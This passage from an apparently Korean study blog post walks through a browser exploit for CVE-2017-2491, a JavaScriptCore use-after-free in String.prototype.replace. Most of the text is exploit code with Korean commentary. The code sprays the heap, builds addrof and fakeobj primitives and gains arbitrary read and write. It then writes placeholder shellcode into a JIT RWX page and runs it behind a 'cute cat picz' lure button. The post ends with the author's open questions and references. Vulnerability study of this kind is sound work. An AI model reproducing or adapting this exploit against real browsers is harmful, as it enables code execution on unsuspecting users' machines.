      힙을 엉망으로 만들지 않는다.
    */
    function set(p, i, a,b,c,d,e,f,g,h) {
        p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
    }

    /* 
      총 2GiB의 메모리를 spray 하는 함수이다. (0x7ffff000 == 2147479552는 약 2GiB)
      2중 for문을 이용하여 spray 할 때 0x1000(==128) 단위로 데이터를 쪼갠다.
      그리고 각 단위의 시작점에서 오프셋 0x11 만큼 떨어진 위치에 JSValue 형태로 offset을 넣어 준다.
      추후 특정 위치를 참조할 때 + 0x11 위치에 저장된 값을 보고 어느 청크에 접근했는지 알 수 있다.
      본 익스플로잇에서 이전 문장에서 언급한 '특정 위치'란 0x200000001이 될 것이다.
    */
    function spray() {
        var res = new Uint8Array(0x7ffff000);
        for (var i = 0; i < 0x7ffff000; i += 0x1000) {
            // Write heap pattern.
            // We only need a structure pointer every 128 bytes, but also some of
            // structure fields need to be != 0 and I can't remember which, so we just
            // write pointers everywhere.
            for (var j = 0; j < 0x1000; j += 8)
                set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

            // Write the offset to the beginning of each page so we know later
            // with which part we overlap.
            var j = i+1+2*8;
            set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
        }
        return res;
    }

    // Spray ~14 GiB worth of array buffers with our pattern. 
    /*
      spray 함수를 여러 번 호출함으로써 ~14GiB 상당의 array 버퍼를 spray 해준다.
      2GiB * 8 = 16GiB인데 왜 14GiB 상당이라고 적어 놨는지는 잘 모르겠다.
    */
    var x = [
        spray(), spray(), spray(), spray(),
        spray(), spray(), spray(), spray(),
    ];

    // The butterfly of our fake object will point to 0x200000001. This will always
    // be inside the second sprayed buffer.
    /*
      왜 굳이 x[1]일까?
      var x를 할당할 때 spray()를 8번 호출해 주었는데,
      한 번 할당할 때마다 2GiB 이므로 약 0x80000000씩 증가한다.
      해당 버전의 macOS에서는 힙 주소가 0x110000000~0x120000000 부터 시작되므로,
      0x200000001 주소에 접근하기 위해서 두 번째로 spray한 영역을 가져온다.
    */
    var buf = x[1];

    // A big array to hold reference to objects we don't want to be freed.
    // 취약점 트리거 후 힙이 무너지는 것을 막기 위해 큰 배열을 선언해 둔다.
    var ary = new Array(0x10000000);
    var cnt = 0;

    // Set up objects we need to trigger the bug.
    // String.prototype.replace를 호출하기 위한 사전 작업이다.
    // 첫 번째 인자는 RegExp여아 하고 두 번째 인수는 콜백 함수여야 한다.
    var n = 0x40000;
    var m = 10;
    var regex = new RegExp("(ab)".repeat(n), "g"); // /(ab)(ab)...(ab)/g
    var part = "ab".repeat(n); // abab ...
    var s = (part + "|").repeat(m); // abab...ab|abab...ab|abab...ab| ...

    // Set up some views to convert pointers to doubles
    /*
      0x20 크기의 버퍼를 할당하고 이를 참조하는 뷰(TypedArray)를 선언한다.
      cu는 1바이트, cf는 8바이트를 핸들링 할 수 있게 된다.
      이 작업은 이제 거의 뭐 공식이라고 봐도 무방하다.
    */
    var convert = new ArrayBuffer(0x20);
    var cu = new Uint8Array(convert);
    var cf = new Float64Array(convert);

    // Construct fake JSCell header
    // 이 때 당시에는 Structure ID가 0인 게 항상 존재했고, 그걸 이용했다고 한다.
    set(cu, 0,
        0,0,0,0,  // structure ID
        8,        // indexing type (Contiguous Shape인 JSValues를 의미한다.)
        0,0,0);   // some more stuff we don't care about
		
    /*
      가짜 JSObject인 fakearray를 만들기 위한 사전 작업.
      이 작업도 fakeobj를 만들 때 거의 국룰인 것 같다.
      fakearray의 butterfly를 hax로 설정함으로써,
      hax 객체의 메모리 영역을 조작할 수 있다.
    */
    var container = {
        // Inline object with indebufng type 8 and butterly pointing to hax.
        // Later we will refer to it as fakearray.
        jsCellHeader: cf[0],
        butterfly: hax,
    };

    while (1) {
        // Try to trigger bug
        s.replace(regex, function() {
            for (var i = 1; i < arguments.length-2; ++i) {
                if (typeof arguments[i] === 'string') {
                    // Root all the callback arguments to force GC at some point
                    // 모든 콜백 인수를 ary에 저장하여 특정 지점에서 강제로 GC를 유도하는 것 같다.
                    ary[cnt++] = arguments[i];
                    continue;
                }

                /*
                  여기까지 도달했다면 GC가 제대로 작동한 것이다.
                  따라서 Vector 안에 있던 m_arguments가 해제되었을 것이다.

                  따라서 기존 JSString 객체가 존재했던 메모리의 앞 8바이트에는
                  다음 free-list 노드의 주소가 존재할 것이고,
                  그 주소의 형식은 0x8xxxxxxxx일 것이다.
                  
                  28GiB를 모두 spray 하지 않았는데 왜 0x8xxxxxxxx까지 도달하는진 모르겠다.
                  아무튼 JSCell 헤더가 변경됨으로써 JSString이 아닌 JSObject가 되었다.
                  그래서 결과적으로 var a도 JSObject로 할당될 것이다.
                  또한 a의 butterfly는 0x200000001 주소를 가리킨다.
                */
                var a = arguments[i];

                // a.butterfly points to 0x200000001, which is always
                // inside buf, but we are not sure what the exact
                // offset is within it so we read a marker value.
                /*
                  a의 butterfly인 0x200000001 주소에는
                  우리가 spray 함수로 선점해 놓은 청크가 위치해 있다.
                  하지만 그 청크의 offset은 아직 모른다.
                  그래서 spray시 함께 입력해 두었던 offset을 확인하는 것이다.
                  
                  spray 함수를 다시 보고 오자.
                  청크의 시작 주소(0x1000단위) + 17 만큼의 위치에 항상 offset을 넣어 줬다.
                  0x200000001 기준으로 봤을 때 0x200000017 위치에 오프셋이 있을 거고
                  이는 정확하게 a[2]에 해당한다.

                  이렇게 offset을 알아내고 나면 buf[offset]으로 쉽게 접근할 수 있다.
                  buf[offset]의 위치에서 r/w를 수행할 것이다.
                  (buf : Uint8Array. 두 번째로 스프레이한 영역을 담고 있다.)
                */
                var offset = a[2];

                // Compute addrof(container) + 16. We write to the fake array, then
                // read from a sprayed array buffer on the heap.
                /*
                  container 객체의 주소 8바이트를 addr에 저장한다.
                  a[2]에 원하는 객체를 저장하고 그 값을 buf로 1바이트씩 읽는다.
                */
                a[2] = container;
                var addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Add 16 to get address of inline object
                // container 객체의 인라인 속성으로 구성해 놓은
                /* 
                  가짜 JSCell 헤더와 butterfly에 접근하기 위해 16을 더한다.
                  이 주소를 기반으로 fakearray를 만들 것이다.
                */
                addr += 16;

                // Do the inverse to get fakeobj(addr)
                /*
                  이제 addr에는 fakearray의 주소가 담겨 있다.
                  이전의 addrof 작업(a[2]에 객체를 넣고 buf로 접근)과는 반대로
                  먼저 알아낸 주소를 buf에 넣어준 뒤, a[2]를 반환하면
                  그 주소에 대한 객체를 반환받을 수 있다.
                  왜냐하면 buf[offset]과 a[2]는 같은 곳을 참조하기 때문이다.
                */
                for (var j = 0; j < 8; ++j) {
                    buf[offset + j] = addr & 0xff;
                    addr /= 0x100;
                }
                var fakearray = a[2];

                // Re-write the vector pointer of hax to point to hax2.
                /*
                  fakearray의 butterfly가 hax이기 때문에
                  이 hax의 메모리 영역에 직접 접근할 수 있다.
                  fakearray[2]는 hax의 3번째 qword 블록, 즉 data pointer 영역이다.
                  이 부분을 hax2로 바꿔주면 hax에서 hax2의 메모리 영역에 접근할 수 있다.
                */
                fakearray[2] = hax2;

                // At this point hax.vector points to hax2, so we can write
                // the vector pointer of hax2 by writing to hax[16+{0..7}]
                /*
                  hax.vector가 hax2를 포인팅 하고 있고, 따라서
                  hax[16] ~ hax[23](Uint8Array이기 때문) 영역을 조작함으로써
                  hax2의 vector 포인터를 우리가 원하는 위치로 바꿀 수 있다.
                  Arbitrary read/write!!
                */
                // Leak address of JSFunction
                /*
                  맨 처음에 만들어 두었던 target_func 함수의 주소를 leak한다.
                  참고로 함수는 JIT 컴파일러에 의해 최적화 되지는 않았고,
                  딱 한 번만 호출되어 low level의 인터프리터로 컴파일 되었다. 
                  (위 주석에 적혀 있는 내용을 다시 가져옴)
                */
                a[2] = target_func;
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + buf[offset + j];

                // Follow a bunch of pointers to RWX location containing the
                // function's compiled code
                /*
                  leak한 target_func 주소를 기반으로 rwx 영역을 찾아나간다.
                  컴파일된 코드가 rwx 영역에 존재하기 때문이다.
                  target_func 주소에 offset을 더해 쉘 코드를 주입할 주소를 얻는다.
                  본 익스플로잇 코드에서의 rwx 영역은 *(*(*(target_func+24)+24)+32)

                  hax로 hax2의 데이터 포인터(vector)에 원하는 주소를 입력하고,
                  hax2가 인덱스로 그 영역의 값을 읽어들이는 방식이다.
                */
                addr += 3*8; // *(target_func+24)
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 3*8; // *(*(target_func+24)+24)
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0; 
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                addr += 4*8; // *(*(*(target_func+24)+24)+32)
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                addr = 0;
                for (var j = 7; j >= 0; --j)
                    addr = addr*0x100 + hax2[j];

                // Write shellcode
                // RWX 영역에 쉘 코드를 써준다.
                for (var j = 0; j < 8; ++j) {
                    hax[16+j] = addr & 0xff;
                    addr /= 0x100;
                }
                hax2[0] = 0xcc;
                hax2[1] = 0xcc;
                hax2[2] = 0xcc;

                // Pwn.
                target_func();
            }
            return "x";
        });
    }
}
</script>

<button onclick="pwn()">click here for cute cat picz!</button>

의문점

  1. 위에서는 28GiB의 메모리를 spray 해야 8xxxxxxxx를 해제된 JSString에 덮어 쓸 수 있다고 했는데, 왜 갑자기 14GiB만 spray해도 안정적으로 익스가 가능하게 되었는가?
    • 심지어 익스 코드를 보니 14GiB가 아니고 16GiB를 spray 하는 것 같다. (spray 함수가 한 번 실행될 때 약 2GiB를 spray하고, x라는 변수를 할당할 때 이를 총 8번 실행한다. 2 * 8 = 16)

Reference


  1. 원문

  2. String.prototype.replace()

  3. Dangling pointer

  4. major GC

  5. JVM 메모리 구조와 GC

  6. Minor GC vs Major GC vs Full GC

  7. CVE-2017-2491 정리글 (티스토리 블로그)

  8. CVE-2017-2491 삽질기 (깃허브 블로그)

profile
블로그 이전 -> wisdom-lee.xyz

0개의 댓글